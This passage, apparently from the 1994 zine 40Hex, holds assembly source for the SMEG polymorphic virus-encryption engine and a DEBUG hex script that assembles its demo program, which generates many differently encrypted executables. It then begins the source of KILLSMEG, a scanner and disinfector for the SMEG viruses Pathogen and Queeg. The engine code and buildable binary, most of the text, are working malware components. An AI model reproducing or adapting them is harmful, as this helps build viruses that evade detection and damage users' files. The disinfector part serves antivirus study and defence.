83,0C3,06 ; add bx,6 xlat rol al,cl and cl,cl ; encoding rm or reg? jnz not_memory ; branch if doing rm test dh,40 ; memory access? jz not_memory cmp al,3 ; using bx? jne not_BX mov al,7 ; change it to di jmp short not_memory not_BX: cmp al,6 ; is it si? jb not_memory sub al,2 ; change it to double register not_memory: or ah,al retn fill_reg_reg1: ror al,cl ; [reg], reg fill_reg_field: xor cl,cl ; fill bottom 3 bits only jmp short fill_field fill_mod_n_reg: call fill_mod_field ; fill mod field as usual mov al,dh ; fill reg field with the jmp short fill_reg_field ; register that holds the ; data to be decrypted fill_reg_reg2: call fill_field mov al,dh jmp short fill_reg_reg1 encode_routine2:mov word ptr [bp.which_tbl],offset encode_tbl1 - 6 process_all: lodsb ; get a byte cmp al,-1 ; are we at the end? jne process_byte ; no, keep going lodsb ; else get returncode and exit retn process_byte: push si ax mov cl,4 call process_nibble xor cl,cl pop ax call process_nibble pop si jmp short process_all process_nibble: ror al,cl ; only use the part of and ax,0F ; the byte that we want jnz no_switch_table and cl,cl ; if the lower half of byte=0, jz switch_tables ; switch tables mov [bp.loop_top],di ; otherwise save this location retn ; as the top of the loop switch_tables: mov word ptr [bp.which_tbl],offset encode_tbl2 - 6 retn no_switch_table:push ax call garble_more pop ax add ax,ax ; calculate AX*6+[bp.which_tbl] mov bx,ax add ax,ax add ax,bx add ax,[bp.which_tbl] mov word ptr [bp.which_tbl],offset encode_tbl1 - 6 xchg si,ax lodsb mov dh,al ; dh holds first byte lodsb xchg ah,al ; ah holds second byte call encode_it ; process it lodsb ; now ah holds the next byte xchg ah,al call encode_it ; process it lodsb ; get the next byte mov dl,al ; it tells us which and ax,0F ; value to write in add ax,ax ; this is the modifier add ax,offset write_table ; i.e. pointer, encryption xchg bx,ax ; value, etc. jmp word ptr [bx] write_nothing: retn write_cryptval: mov al,[bp.cryptval] stosb retn write_pointer_patch: ; save location of pointer initialisation mov [bp.pointer_patch],di stosw retn write_counter_patch: ; save location of counter initialisation mov [bp.counter_patch],di stosw retn write_ptr_offset: ; write XXXX of [bx+XXXX] mov ax,[bp.ptr_offsets] mov [bp.pointer_fixup],ax stosw retn write_dl: mov al,dl ; write lower half of top mov cl,4 ; byte of dl as a word shr al,cl ; used as amount to increment and ax,0F stosw retn garble_some: push si mov dx,3 ; garble 2-5 times call multiple_garble pop si retn garble_more: mov dx,7 multiple_garble:call rnd_get and ax,dx inc ax inc ax xchg cx,ax garble_again: push cx ; save garble count call garble_once ; garble pop cx ; restore garble count loop garble_again cmp [bp.cJMP_patch],cx ; cJMP_patch == 0? i.e. is je skip_finish_cJMP ; there an unfinished cJMP? call finish_cJMP ; if so, finish it skip_finish_cJMP:call many_nonbranch_garble ; garble garble mov bx,[bp.nJMP_patch] ; check if pending nJMP and bx,bx jnz loc_0047 ; if so, keep going retn loc_0047: ; xref 4028:0996 mov al,0C3 ; encode a RETN stosb mov ax,di sub ax,bx dec ax dec ax mov [bx],ax mov [bp.CALL_patch],bx mov word ptr [bp.nJMP_patch],0 many_nonbranch_garble: call rnd_get ; do large instruction and ax,3 ; garble from 3 to 6 times add al,3 xchg cx,ax many_nonbranch_garble_loop: push cx call not_branch_garble pop cx loop many_nonbranch_garble_loop retn ; finish_cJMP simply encodes a few instructions between the conditional ; jmp and its target, and then sets the destination of the jmp to be after ; the inserted instructions. finish_cJMP: mov ax,di ; get current location mov bx,[bp.cJMP_patch] ; get previous location sub ax,bx dec al ; calculate offset jnz go_patch_cJMP ; if nothing in between, call not_branch_garble ; fill in some instructions jmp short finish_cJMP ; and do this again go_patch_cJMP: cmp ax,7F ; are we close enough? jbe patch_cJMP ; if so, finish this now xor al,al ; if not, encode cJMP $+2 patch_cJMP: mov [bx],al ; patch the cJMP destination mov word ptr [bp.cJMP_patch],0 ; clear usage flag retn set_reg_mask: and cl,0F8 ; clear bottom 3 bits mov bx,bp db 83,0C3,6 ; add bx,6 mov dh,7 ; assume one of 8 registers test dl,4 ; can we use any register? jnz set_reg_mask_exit ; if so, quit db 83,0C3,3 ; add bx,3 ; otherwise, set mask so we mov dh,3 ; only choose from regs 3-6 set_reg_mask_exit: retn choose_register:call rnd_get ; get random number xor ah,ah ; clear high byte and al,dh ; use mask from set_reg_mask add bx,ax mov al,[bx] ; get the register number test ch,1 ; byte or word register? jnz choose_reg_done ; if word, we are okay test byte ptr [si-2],4 ; otherwise, check if we can jnz choose_reg_done ; take only half the register mov ah,al ; uh oh, we can't, so... and al,3 ; is it one of the garbage cmp al,[bp+9] ; registers? mov al,ah ; if so, we are done jz choose_reg_done mov al,[bp+9] cmp al,4 ; ax,cx,dx, or bx? jb werd ; to yer muthah! pop ax ; pop off return location retn ; go to caller's caller werd: and ah,4 ; make either byte or word or al,ah ; register choose_reg_done:retn garble_once: call rnd_get cmp ah,0C8 ; randomly go to either jbe other_garble ; here ... jmp branch_garble ; ... or here not_branch_garble: call rnd_get other_garble: cmp al,0F0 jbe larger_instr ; mostly do larger instructions jmp do_one_byte ; 1/16 chance larger_instr: and ax,1F ; normalise random number cmp al,[bp.lastgarble] ; is it the same as before? je not_branch_garble ; then try again, since we ; don't want two of the same ; sort in a row mov [bp.lastgarble],al ; else remember this one add ax,ax ; and process it add ax,offset garble_table xchg si,ax lodsw ; get table entry xchg cx,ax ; keep it in CX mov dl,cl ; pick out the bottom and dl,3 ; mask out low 2 bits call rnd_get and al,3 ; this line unnecessary and al,dl ; patch it into the top or ch,al ; byte for variable opcodes ; (e.g. allows byte & word ; forms of opcode to use the ; same table entry) mov dl,cl and dl,0C0 ; mask out mod field cmp dl,0C0 ; does it indicate register mov dl,cl ; operation? i.e. 2 regs jz no_memory ; if so, branch call set_reg_mask ; otherwise, process memory call rnd_get ; and register operation and al,0C0 ; clear all but top 2 bits or cl,al ; fill in the field rol al,1 rol al,1 mov dl,al call rnd_get ; generate the registers to use and al,7 ; in memory access,i.e. [bx+si] or cl,al ; patch into 2nd byte of instr cmp dl,3 je fill_in_rm cmp al,6 jne force_byte mov dl,2 ; alter mask to choose AX or DX and cl,3F jmp short fill_in_rm force_byte: and ch,not 1 ; change to byte data ; "byte sized" fill_in_rm: call choose_register ; move register into shl al,1 ; the rm field shl al,1 shl al,1 finish_larger: or cl,al ; combine data xchg cx,ax ; move it to the right register xchg ah,al ; reverse byte order stosw ; write the instruction and dl,dl ; needs data bytes? jnz needs_data retn needs_data: cmp dl,3 ; check length of instruction jne do_data_bytes retn do_data_bytes: call rnd_get ; keep the random number and al,3F ; under 40h stosb ; write the byte dec dl ; decrement bytes to write jnz do_data_bytes retn no_memory: call set_reg_mask call choose_register mov ah,ch ; get the opcode and clear the and ah,0FE ; size bit for now cmp ah,0F6 jne not_NOT_NEG test cl,10 ; is it TEST instruction? jz not_NOT_NEG ; if it is, go find the number ; of data bytes it needs, else ; it is NOT or NEG, so there're no_data_bytes: xor dl,dl ; no data bytes jmp short finish_larger not_NOT_NEG: and ah,0FC ; is it a shift or rotate? cmp ah,0D0 jne set_data_length ; if not, calculate # data ; bytes needed, else jmp short no_data_bytes ; we don't need any set_data_length:test ch,1 ; byte or word of data? mov dl,2 ; assume word jnz finish_larger ; continue if so dec dl ; DEC DX is better!!! jmp short finish_larger ; otherwise adjust to data do_one_byte: and al,7 mov bx,offset onebyte_table xlat cmp al,48 ; DEC? je inc_or_dec cmp al,40 ; or INC? jne encode_1byte inc_or_dec: mov cl,al call rnd_get ; get a garbage register and al,3 mov bx,bp ; can we say "lea", boys and db 83,0C3,9 ; add bx,9 ; girls? xlat ; look up the register or al,cl ; fill in the register field encode_1byte: stosb retn branch_garble: cmp word ptr [bp.cJMP_patch],0 ; is there an unfinished je no_pending_cJMP ; conditional jmp? jmp finish_cJMP ; if so, finish it no_pending_cJMP:call rnd_get cmp ah,6E ja do_near_JMP do_cond_jmp: and al,0F ; encode a conditional or al,70 ; jmp stosb mov [bp.cJMP_patch],di ; save target offset stosb retn do_near_JMP: cmp word ptr [bp.nJMP_patch],0 ; is there an unfinished jne do_cond_jmp ; near JMP pending? call rnd_get ; if not, encode one cmp al,78 ; either just jmp past jbe encode_CALL ; or call it too mov al,0E9 ; encode near JMP stosb mov [bp.nJMP_patch],di ; save location to patch stosw call rnd_get cmp al,0AA jbe forward_CALL go_not_branch_garble: jmp not_branch_garble forward_CALL: cmp word ptr [bp.last_CALL],0 ; is there a garbage CALL je go_not_branch_garble ; we can patch? push di ; if there is, patch the CALL xchg di,ax ; for here so there are CALLs dec ax ; forwards as well as back- dec ax ; wards mov di,[bp.last_CALL] sub ax,di stosw pop di jmp not_branch_garble encode_CALL: cmp word ptr [bp.CALL_patch],0 ; is there one pending? je do_cond_jmp mov al,0E8 ; encode a CALL stosb cmp word ptr [bp.last_CALL],0 je store_CALL_loc call rnd_get ; 1/2 chance of replacing and al,7 ; it (random so it's not cmp al,4 ; too predictable) jae fill_in_offset store_CALL_loc: mov [bp.last_CALL],di ; save ptr to CALL offset fill_in_offset: mov ax,di ; calculate CALL offset sub ax,[bp.CALL_patch] neg ax stosw retn rnd_init: mov ah,2C ; get time int 21 mov ax,3E1 mul dx add ax,cx xchg cx,ax in ax,40 ; timer port add ax,cx mov [bp.rng_buffer],ax retn rnd_get: push bx cx dx mov ax,[bp.rng_buffer] mov cx,3E1 mul cx mov cx,ax xor dx,dx mov bx,35 div bx add dx,cx js no_fix_seed1 in ax,40 ; port 40, 8253 timer 0 clock add dx,ax no_fix_seed1: cmp dx,[bp.rng_buffer] jne no_fix_seed2 neg dx in ax,40 ; port 40, 8253 timer 0 clock xor dx,ax no_fix_seed2: mov [bp.rng_buffer],dx xchg dx,ax pop dx cx bx retn heap: data_area db 02dh dup (?) target_area: end SMEG_demo ------------------------------- N SMEGdemo.com E 0100 E9 C5 01 30 30 30 30 2E 43 4F 4D 00 53 4D 45 47 E 0110 20 76 30 2E 33 2E 20 20 47 65 6E 65 72 61 74 69 E 0120 6F 6E 20 44 69 66 66 65 72 65 6E 63 65 20 44 65 E 0130 6D 6F 6E 73 74 72 61 74 69 6F 6E 0D 0A 09 20 20 E 0140 20 28 43 29 20 54 68 65 20 42 6C 61 63 6B 20 42 E 0150 61 72 6F 6E 20 31 39 39 34 0D 0A 0A 0A 53 45 4C E 0160 45 43 54 20 54 48 45 20 4E 55 4D 42 45 52 20 4F E 0170 46 20 47 45 4E 45 52 41 54 49 4F 4E 53 3A 0D 0A E 0180 0A 31 20 20 2D 2D 20 20 31 30 20 20 20 20 20 47 E 0190 65 6E 65 72 61 74 69 6F 6E 73 0D 0A 32 20 20 2D E 01A0 2D 20 20 31 30 30 20 20 20 20 20 20 20 20 22 22 E 01B0 0D 0A 33 20 20 2D 2D 20 20 31 30 30 30 20 20 20 E 01C0 20 20 20 20 22 22 0D 0A 34 20 20 2D 2D 20 20 31 E 01D0 30 30 30 30 20 20 20 20 20 20 22 22 20 20 20 20 E 01E0 20 20 20 20 28 4C 61 72 67 65 20 48 44 60 73 20 E 01F0 4F 6E 6C 79 21 21 29 24 20 31 30 20 24 20 31 30 E 0200 30 20 24 20 31 30 30 30 20 24 20 31 30 30 30 30 E 0210 20 24 0D 0A 0A 0A 47 65 6E 65 72 61 74 69 6E 67 E 0220 24 45 78 65 63 75 74 61 62 6C 65 20 2E 43 4F 4D E 0230 20 47 65 6E 65 72 61 74 69 6F 6E 73 2C 20 50 6C E 0240 65 61 73 65 20 57 61 69 74 2E 2E 2E 24 0D 0A 0A E 0250 44 4F 4E 45 21 20 20 4E 6F 77 20 65 78 61 6D 69 E 0260 6E 65 20 65 61 63 68 2C 20 61 6E 64 20 6E 6F 74 E 0270 65 20 68 6F 77 20 64 69 66 66 65 72 65 6E 74 20 E 0280 74 68 65 79 20 61 72 65 21 0D 0A 0A 07 24 0D 0A E 0290 0A 53 4F 52 52 59 21 20 20 41 20 64 69 73 6B 20 E 02A0 65 72 72 6F 72 20 68 61 73 20 6F 63 63 75 72 72 E 02B0 65 64 21 0D 0A 0A 07 24 0A 00 F8 01 64 00 FD 01 E 02C0 E8 03 03 02 10 27 0A 02 B8 03 00 CD 10 BA 0C 01 E 02D0 B4 09 CD 21 B8 07 0C CD 21 3C 31 72 F7 3C 34 77 E 02E0 F3 2C 31 32 E4 03 C0 03 C0 05 B8 02 93 53 BA 12 E 02F0 02 B4 09 CD 21 5B 8B 0F 51 8B 57 02 CD 21 BA 21 E 0300 02 CD 21 59 51 BD B3 0B BF E0 0B BA 89 03 B9 4A E 0310 00 B8 00 01 E8 BC 00 B4 5B BA 03 01 33 C9 CD 21 E 0320 73 09 E8 5C 00 59 B8 FF 4C CD 21 93 B4 40 8B 4E E 0330 27 BA E0 0B CD 21 73 09 E8 46 00 B4 3E CD 21 EB E 0340 E4 E8 A9 04 B4 40 8B 4E 00 BA E0 0B CD 21 72 E8 E 0350 E8 FA 01 B4 40 CD 21 72 DF B4 3E CD 21 72 C3 BB E 0360 06 01 B9 04 00 FE 07 80 3F 3A 72 06 80 2F 0A 4B E 0370 E2 F3 59 E2 8F BA 4D 02 B4 09 CD 21 B8 00 4C CD E 0380 21 BA 8E 02 B4 09 CD 21 C3 E8 3D 00 0D 0A 54 68 E 0390 69 73 20 77 61 73 20 64 65 63 72 79 70 74 65 64 E 03A0 20 77 69 74 68 20 61 20 53 4D 45 47 20 76 30 2E E 03B0 33 20 67 65 6E 65 72 61 74 65 64 20 64 65 63 72 E 03C0 79 70 74 6F 72 21 0D 0A 24 5A B4 09 CD 21 B8 00 E 03D0 4C CD 21 89 4E 00 89 56 02 89 7E 04 53 56 8B DD E 03E0 83 C3 06 B9 2D 00 53 88 2F 43 E2 FB 89 46 1C E8 E 03F0 7E 07 BB 6A 05 E8 8C 07 24 1F D7 5B B9 04 00 32 E 0400 D2 D0 D0 D0 D2 D0 D0 D0 D2 88 17 43 E2 F1 C6 07 E 0410 05 43 43 E8 6E 07 D0 C0 24 01 04 06 88 07 34 01 E 0420 80 7F FD 03 75 05 88 47 FD B0 03 88 47 01 8A 47 E 0430 FD 88 47 FF E8 4D 07 32 C4 74 F9 88 46 10 E8 43 E 0440 07 0C 01 89 46 11 E8 27 07 25 FF 03 05 80 00 89 E 0450 46 25 33 C0 04 53 4D 45 47 04 AE FC 2B F8 E8 23 E 0460 07 25 03 00 04 03 91 51 E8 09 05 E8 16 07 3C 8C E 0470 76 11 25 03 00 05 D2 05 96 B4 B4 AC 86 E0 AB B8 E 0480 CD 21 AB 59 E2 E1 B0 E8 AA 57 AB E8 E6 04 B0 E9 E 0490 AA 5B 57 AB 57 58 48 48 2B C3 89 07 E8 D5 04 B0 E 04A0 C3 AA 5B 57 58 48 48 2B C3 89 07 E8 CC 03 8B F5 E 04B0 83 C6 08 22 C0 75 02 4E 4E B0 75 AA 47 57 E8 AA E 04C0 04 5B B0 E9 AA 57 47 47 8B C7 2B C3 88 47 FF E8 E 04D0 99 04 E8 AF 06 25 03 00 03 C0 74 14 50 B0 B8 0A E 04E0 04 AA 8B 46 13 2B 46 04 03 46 1C AB E8 7C 04 58 E 04F0 05 C5 07 93 FF 17 AB 5B 8B C7 2B C3 48 48 89 07 E 0500 E8 71 04 8B C7 2B 46 04 24 0F 74 11 3C 0C 77 05 E 0510 E8 19 05 EB EE E8 6C 06 E8 C5 05 EB E6 8B C7 2B E 0520 46 04 89 46 27 03 46 1C 8B 4E 19 2B C1 8B 5E 15 E 0530 89 07 8A 5E 1B B1 03 D2 CB 83 E3 0F 81 C3 D6 05 E 0540 8B 46 00 FF 17 8B 5E 17 89 07 5E 5B C3 8B 4E 25 E 0550 8B 7E 04 51 57 E8 2C 06 AA E2 FA 5A 59 C3 48 09 E 0560 49 09 4E 09 53 09 58 09 60 09 1B C6 B1 6C E4 39 E 0570 4E 93 4B D2 B4 2D E1 78 1E 87 27 C9 72 9C D8 36 E 0580 8D 63 E4 2D 27 1E C6 87 D2 72 48 40 F8 FC F5 F9 E 0590 40 48 F1 80 01 32 C1 F6 05 84 E9 80 01 2A EB D0 E 05A0 01 1A D9 80 D1 80 FB D0 E3 D0 CB D0 C3 D0 05 84 E 05B0 DB D0 C1 C6 C9 80 01 0A D1 F6 D9 F6 01 8A C1 C6 E 05C0 01 02 C1 80 FD 80 07 38 E1 80 D3 D0 01 22 01 12 E 05D0 01 8A 19 2A 2C 30 3E 08 40 08 41 08 43 08 46 08 E 05E0 48 08 4F 08 51 08 A9 08 AA 08 AC 08 D0 08 D2 08 E 05F0 D6 08 DD 08 08 8C 00 C8 04 00 08 8E 00 D8 04 00 E 0600 07 B8 04 FF 00 02 01 B8 04 FF 00 03 57 8A 00 80 E 0610 05 04 57 88 00 80 05 04 02 80 00 F0 04 01 11 8B E 0620 00 C0 05 00 78 30 00 00 06 00 47 F6 00 98 04 04 E 0630 47 F6 00 90 04 04 07 40 04 FF 00 00 01 48 04 FF E 0640 00 00 08 B0 04 FF 00 01 10 33 00 C0 05 00 47 86 E 0650 00 80 05 04 08 40 04 FF 00 00 08 48 04 FF 00 00 E 0660 07 81 00 C0 04 15 01 81 00 E8 04 15 10 02 00 C0 E 0670 05 00 10 2A 00 C0 05 00 47 FB 04 B0 04 04 47 8F E 0680 00 80 04 04 08 50 04 FF 00 00 08 58 04 FF 00 00 E 0690 10 87 00 C0 05 00 02 40 04 FF 00 00 08 8B 00 C0 E 06A0 05 00 09 23 00 C0 05 00 10 13 24 EF 05 F0 26 CD E 06B0 FF 71 34 12 EE 0D AD 5F 60 30 40 50 30 50 FF 42 E 06C0 43 10 CE E0 C2 00 1F 68 80 D0 D0 D0 30 C0 E0 40 E 06D0 F0 FF 00 33 14 23 EE 0D DB 5F 6F C0 20 20 F0 FF E 06E0 64 41 2E 3F 09 80 C0 20 D0 20 40 20 20 E0 D0 C0 E 06F0 F0 FF 05 13 42 EF 0D 70 A0 80 B0 C0 B0 A0 76 C8 E 0700 80 D0 D0 C0 E0 B0 20 F0 FF 56 34 12 2E 05 D0 66 E 0710 80 3F DC D0 FF 27 41 32 EF 09 F0 40 A8 D0 D0 D0 E 0720 C0 E0 B0 30 F0 FF 32 41 32 E0 C0 08 D0 BF 60 30 E 0730 C0 4D FF 00 11 43 12 EF 0A 5F D0 30 30 C0 10 C0 E 0740 40 F0 FF 66 31 42 EF 00 A0 88 80 C0 20 20 20 20 E 0750 E0 B0 C0 B0 60 A0 C0 A0 90 B0 3C F0 F0 FF 04 12 E 0760 E8 43 08 D0 D0 C0 E0 C9 C0 20 20 F0 FF 73 31 42 E 0770 E4 0D DD B0 A0 80 B0 C0 BF 60 20 40 20 50 FF 20 E 0780 E0 C1 32 40 00 10 CF D0 C0 10 C8 C0 D0 D0 D0 20 E 0790 C0 E0 F0 FF 00 55 43 12 E3 05 D0 70 20 56 CD FF E 07A0 47 E3 40 C1 20 00 80 B0 CF 68 D0 30 D0 D0 D0 C0 E 07B0 E0 40 F0 FF 00 11 08 26 08 16 08 1D 08 1F 08 2F E 07C0 08 34 08 39 08 56 08 63 08 69 08 6F 08 7F 07 BF E 07D0 06 F2 06 5E 07 A8 06 34 07 95 07 26 07 B1 06 15 E 07E0 07 A0 07 43 07 D3 06 6D 07 E0 06 09 07 FC 53 56 E 07F0 8A 5E 1B 83 E3 0F 03 DB 81 C3 B5 07 8B 7E 04 8B E 0800 76 02 8B 4E 00 8A 56 10 AC FF 17 AA E2 FA 5E 5B E 0810 C3 32 C2 FE C2 C3 32 D0 8A C2 FE CA C3 F6 D0 32 E 0820 C2 FE C2 FE C2 C3 32 C2 F6 D8 FE CA FE CA C3 02 E 0830 C2 FE C2 C3 2A C2 FE CA C3 32 C2 FE CA C3 F7 D8 E 0840 C3 F7 D8 03 C0 C3 F7 D8 8B C8 03 C0 03 C1 C3 F7 E 0850 D8 03 C0 03 C0 C3 B0 E9 AA 8B C7 2B 46 13 40 40 E 0860 F7 D8 C3 B8 FF E0 0A 24 C3 B8 50 C3 0A 04 C3 B0 E 0870 0E AA E8 F6 00 B8 50 CB EB F2 E8 07 03 BB CD 07 E 0880 25 0F 00 03 C0 03 D8 8B 37 AC 88 46 1B EB 55 AC E 0890 80 FC FF 74 14 32 FF 02 C0 8A D8 81 C3 E6 05 8A E 08A0 C6 B9 03 00 FF 17 86 E0 AA C3 D2 C8 24 07 8B DD E 08B0 83 C3 06 D7 D2 C0 22 C9 75 13 F6 C6 40 74 0E 3C E 08C0 03 75 04 B0 07 EB 06 3C 06 72 02 2C 02 0A E0 C3 E 08D0 D2 C8 32 C9 EB D6 E8 D1 FF 8A C6 EB F5 E8 CC FF E 08E0 8A C6 EB EC C7 46 2B EE 05 AC 3C FF 75 02 AC C3 E 08F0 56 50 B1 04 E8 09 00 32 C9 58 E8 03 00 5E EB E9 E 0900 D2 C8 25 0F 00 75 0E 22 C9 74 04 89 7E 13 C3 C7 E 0910 46 2B 48 06 C3 50 E8 5B 00 58 03 C0 8B D8 03 C0 E 0920 03 C3 03 46 2B C7 46 2B EE 05 96 AC 8A F0 AC 86 E 0930 E0 E8 5B FF AC 86 E0 E8 55 FF AC 8A D0 25 0F 00 E 0940 03 C0 05 5E 05 93 FF 27 C3 8A 46 10 AA C3 89 7E E 0950 15 AB C3 89 7E 17 AB C3 8B 46 11 89 46 19 AB C3 E 0960 8A C2 B1 04 D2 E8 25 0F 00 AB C3 56 BA 03 00 E8 E 0970 05 00 5E C3 BA 07 00 E8 0A 02 23 C2 40 40 91 51 E 0980 E8 9E 00 59 E2 F9 39 4E 1F 74 03 E8 2F 00 E8 1B E 0990 00 8B 5E 23 23 DB 75 01 C3 B0 C3 AA 8B C7 2B C3 E 09A0 48 48 89 07 89 5E 21 C7 46 23 00 00 E8 D5 01 25 E 09B0 03 00 04 03 91 51 E8 73 00 59 E2 F9 C3 8B C7 8B E 09C0 5E 1F 2B C3 FE C8 75 05 E8 61 00 EB F0 3D 7F 00 E 09D0 76 02 32 C0 88 07 C7 46 1F 00 00 C3 80 E1 F8 8B E 09E0 DD 83 C3 06 B6 07 F6 C2 04 75 05 83 C3 03 B6 03 E 09F0 C3 E8 90 01 32 E4 22 C6 03 D8 8A 07 F6 C5 01 75 E 0A00 1F F6 44 FE 04 75 19 8A E0 24 03 3A 46 09 8A C4 E 0A10 74 0E 8A 46 09 3C 04 72 02 58 C3 80 E4 04 0A C4 E 0A20 C3 E8 60 01 80 FC C8 76 06 E9 D3 00 E8 55 01 3C E 0A30 F0 76 03 E9 AA 00 25 1F 00 3A 46 1E 74 EE 88 46 E 0A40 1E 03 C0 05 92 05 96 AD 91 8A D1 80 E2 03 E8 33 E 0A50 01 24 03 22 C2 0A E8 8A D1 80 E2 C0 80 FA C0 8A E 0A60 D1 74 4F E8 76 FF E8 1B 01 24 C0 0A C8 D0 C0 D0 E 0A70 C0 8A D0 E8 0E 01 24 07 0A C8 80 FA 03 74 0E 3C E 0A80 06 75 07 B2 02 80 E1 3F EB 03 80 E5 FE E8 61 FF E 0A90 D0 E0 D0 E0 D0 E0 0A C8 91 86 E0 AB 22 D2 75 01 E 0AA0 C3 80 FA 03 75 01 C3 E8 DA 00 24 3F AA FE CA 75 E 0AB0 F6 C3 E8 27 FF E8 39 FF 8A E5 80 E4 FE 80 FC F6 E 0AC0 75 09 F6 C1 10 74 04 32 D2 EB CB 80 E4 FC 80 FC E 0AD0 D0 75 02 EB F2 F6 C5 01 B2 02 75 BA FE CA EB B6 E 0AE0 24 07 BB 8A 05 D7 3C 48 74 04 3C 40 75 0F 8A C8 E 0AF0 E8 91 00 24 03 8B DD 83 C3 09 D7 0A C1 AA C3 83 E 0B00 7E 1F 00 74 03 E9 B5 FE E8 79 00 80 FC 6E 77 0A E 0B10 24 0F 0C 70 AA 89 7E 1F AA C3 83 7E 23 00 75 F0 E 0B20 E8 61 00 3C 78 76 25 B0 E9 AA 89 7E 23 AB E8 53 E 0B30 00 3C AA 76 03 E9 F4 FE 83 7E 29 00 74 F7 57 97 E 0B40 48 48 8B 7E 29 2B C7 AB 5F E9 E0 FE 83 7E 21 00 E 0B50 74 BE B0 E8 AA 83 7E 29 00 74 09 E8 26 00 24 07 E 0B60 3C 04 73 03 89 7E 29 8B C7 2B 46 21 F7 D8 AB C3 E 0B70 B4 2C CD 21 B8 E1 03 F7 E2 03 C1 91 E5 40 03 C1 E 0B80 89 46 0E C3 53 51 52 8B 46 0E B9 E1 03 F7 E1 8B E 0B90 C8 33 D2 BB 35 00 F7 F3 03 D1 78 04 E5 40 03 D0 E 0BA0 3B 56 0E 75 06 F7 DA E5 40 33 D0 89 56 0E 92 5A E 0BB0 59 5B C3 R CX 0AB3 W Q ------------------------------- 40Hex Number 14 Volume 5 Issue 1 File 002 KILLSMEG (c) 1994 by Stormbringer of Phalcon/Skism Note: This is an update to an earlier program, KILLQUEEG, which misfired badly when it encountered SMEG.Pathogen, as Pathogen is functionally almost IDENTICAL to Queeg and would scan the same in the old program, but become a disaster on disinfection. KILLSMEG will scan and disinfect both correctly, as well as most new variants. Variants that it is not likely to be able to disinfect it will report as a new variant of SMEG. DISCLAIMER: Author assumes NO liabilities for any damage this software might cause. It is not guaraunteed in any way. I have done my best to make it secure and bug free, but it comes as is. Use it at your own risk. This program will find and disinfect the two SMEG viruses from specified files in current directory. Before using, boot from a CLEAN-WRITE PROTECTED disk, and make sure you get this program from a reliable source (source code should be included). I wrote this as there is currently no shareware/freeware program available capable of disinfecting this polymorphic virus, or even reliably detecting it. It also gives insight into one technique that can be used to detect and/ or disinfect polymorphic viruses. I can be reached via IRC or anywhere else if ya look hard enough ;) Greets go to: Phalcon/Skism, Trident, Trinity, Hermanni, Frisk, Frans, Jenky, and all the rest of the virus/anti-virus community. --------------------------- ;KillSMEG (c) 1994 Stormbriner, Phalcon/Skism ;Finds and disinfects the original SMEG viruses (Pathogen and Queeg) ;Author assumes NO responsibility for any damages caused by this program ;or by the SMEG viruses themselves. This utility is simply made to find it, ;and may or may not work as it is supposed to. No garuantees. ;First phase is to look for time signatures. The seconds in any Queeg ;infected file (unless something else has changed timestamp after infection) ;is 56 seconds (1c in bits 0-4 of the time sig). All following Checks are ;done regardless of the time sig check. Pathogen marks infections by making ;the high byte in the date > 0c8h ;Second Phase on each file is to Check if it's an .EXE or a .COM. ;Third phase is to trace the program until an invalid condition is found or ;the virus is detected. ;Finally, the user is asked if s/he wishes to disinfect the virus, and ;the file is cleaned. Strengths: ; VERY reliable detection rate from my testing. ; ; Currently only free program capable of disinfecting SMEG viruses, ; especially from .EXE files. ; ; Comes with full source code. ;Weaknesses: ; Third phase is slow(!!!), and actually executes part of program, ; although it is careful not to allow detrimental actions to be taken ; (i.e. viruses cannot go memres, etc.) ; ; Only scans current directory using user filemask. ; ; Disinfection will leave some garbage at the end of files, ; as the virus pads its hosts to the paragraph boundaries. ; This will cause self-checking programs to choke. .model tiny .radix 16 .code org 100 start: ReduceMem: mov ah,4a mov bx,(endfinder-start+10f)/10 ;Reduce Memory to that needed int 21 mov sp,offset TopStack ;Set STack within memory mov ah,09 mov dx,offset IntroMSG int 21 cmp byte ptr ds:[80],1 ja CopyFilename mov ah,09 mov dx,offset Instructions int 21 mov ax,4c00 int 21 CopyFilename: mov si,82 mov di,offset Filenamebuf CopyFN: lodsb cmp al,0dh je doneCFN stosb jmp CopyFN doneCFN: xor al,al stosb ComSearch: mov ah,4e mov dx,offset FilenameBuf mov cx,07 FindFirstNext: int 21 jnc SearchGood jmp NoMoreCOMS SearchGood: call notifycheck mov cx,ds:[96] and cl,1f cmp cl,1c ;Check time stamp (56 seconds) jne AfterTimeCheck1 call SuspiciousTime AfterTimeCheck1: mov cx,ds:[98] cmp ch,0c8 jb AfterTimeCheck call PathTime AfterTimeCheck: mov ax,3d00 mov dx,9e int 21 jnc ATCGood jmp ErrorOpen ATCGood: xchg bx,ax mov dx,offset EXECCheck mov cx,4 mov ah,3f int 21 mov ah,3e int 21 ;Close File mov ax,word ptr ds:[ExecCheck] xor ah,al cmp ah,('M' xor 'Z') ;Check if it's a com or exec je ISEXE push cs pop es mov di,offset JmpByte mov si,offset ExecCheck ;Save Jump movsb movsw mov byte ptr ds:[COMEXE],0 jmp short OtherChecks ISEXE: mov byte ptr ds:[COMEXE],1 OtherChecks: mov Infected,0 ;Initialize to not infected mov TraceDone,0 call LoadAndCheckFile ;Trace file cmp Infected,1 jne FindAnotherFile call PrintFilename cmp Knownvir,1 je DisinfectProg mov ah,09 mov dx,offset NewVar int 21 jmp FindAnotherFile DisinfectProg: mov ah,09 mov dx,offset InfectedMSG int 21 xor ax,ax int 16 push ax mov dx,offset DoneChecking mov ah,09 int 21 pop ax or al,20 cmp al,'y' jne FindAnotherFile Disinfect: cmp comexe,1 je DisEXE call DisinfCom jmp short FindAnotherFile DisEXE: call DisinfExe FindAnotherFile: mov ah,4f jmp FindFirstNext ErrorOpen: call PRintFilename mov ah,09 mov dx,offset OpenError int 21 jmp FindAnotherFile NoMoreCOMS: mov ax,4c00 int 21 SuspiciousTime: call PrintFilename mov ah,09 mov dx,offset TIMEMSG int 21 ret PathTime: call printfilename mov ah,09 mov dx,offset pathtimemsg int 21 ret NotifyCheck: mov dx,offset Checking mov ah,09 int 21 call PrintFileName mov dx,offset DoneChecking mov ah,09 int 21 ret PrintFilename: mov si,9e PrintFN: lodsb or al,al jz doneprintfn mov ah,02 mov dl,al int 21 jmp Printfn DonePrintFN: ret LoadAndCheckFile: push cs pop ds mov ax,ds:[2c] mov EnvSeg,ax mov ax,ds mov word ptr [CommandTail+2],ax mov word ptr [FCB1+2],ax mov word ptr [FCB2+2],ax mov ax,offset ParmData mov word ptr [CommandTail],ax mov word ptr [FCB1],ax mov word ptr [FCB2],ax mov ax,3501 int 21 mov IP01,bx mov CS01,es ;Get int 1 vector mov ax,2501 mov dx,offset Int01 ;And set it int 21 mov ax,ss mov Oldss,ax mov 